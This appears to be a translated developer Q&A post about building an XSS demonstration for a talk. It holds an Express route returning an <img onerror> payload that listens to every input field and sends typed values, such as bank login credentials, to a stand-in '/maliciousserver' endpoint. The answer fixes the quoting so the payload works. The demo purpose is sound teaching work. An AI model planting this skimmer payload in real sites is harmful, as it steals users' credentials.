首页 > 解决方案 > 带有传递嵌入式 JS 的 Express 中的 res.json

问题描述

我正在做一个关于 XSS 攻击的演示文稿。在我的演示中,我的场景是一些银行员工以某种方式劫持并向银行快递服务器添加路由处理程序,以便他或她可以将银行客户输入的电子邮件和密码发送到他们自己的服务器。

这里的目标是向我的听众展示,当我输入电子邮件和密码时,他们应该能够看到我在 Chrome 控制台中输入的内容,但是我遇到了破坏 Express 服务器的语法错误。

我知道第一个应该有良好代码的路由器,基本上是银行的广告,res.json({})只能这样:

app.get("/content/1/", (req, res) =>
  res.json({ content: "Thinking about taking out a new loan? Call us today." })
);

但是,当使用恶意代码嵌入 HTML 元素时,它似乎不起作用,我不清楚这是否最适合,res.sendFile()或者我只是不知道在代码中将反斜杠放在哪里,以免在添加服务器时破坏服务器的res.json({})

这是导致 Express 服务器崩溃的代码,它应该模仿坏人所做的事情:

app.get("/content/2/", (req, res) => {
  res.json({ content: "<img src=\"\" onerror=\"document.querySelectorAll("input").forEach((el) => {
      el.addEventListener("input", (event) => {
        fetch(`/maliciousserver?value=${event.target.value}`);
      });
    });\" />"});

标签: expressxss

解决方案


这是一个逃避的事情,攻击者只会重写有效载荷,所以不需要解决"'s

IE。document.querySelectorAll('input').forEach(el => el.addEventListener('input', event => fetch('/maliciousserver?value='+event.target.value)))

所以传回去:

app.get("/content/2/", (req, res) => {
  res.json({ content: "<img src=\"\" onerror=\"document.querySelectorAll('input').forEach(el => el.addEventListener('input', event => fetch('/maliciousserver?value='+event.target.value)))\" />"});

然后,您将需要不安全地放置content在 dom 上,这是银行不会做的所有事情。

https://playcode.io/628761/


推荐阅读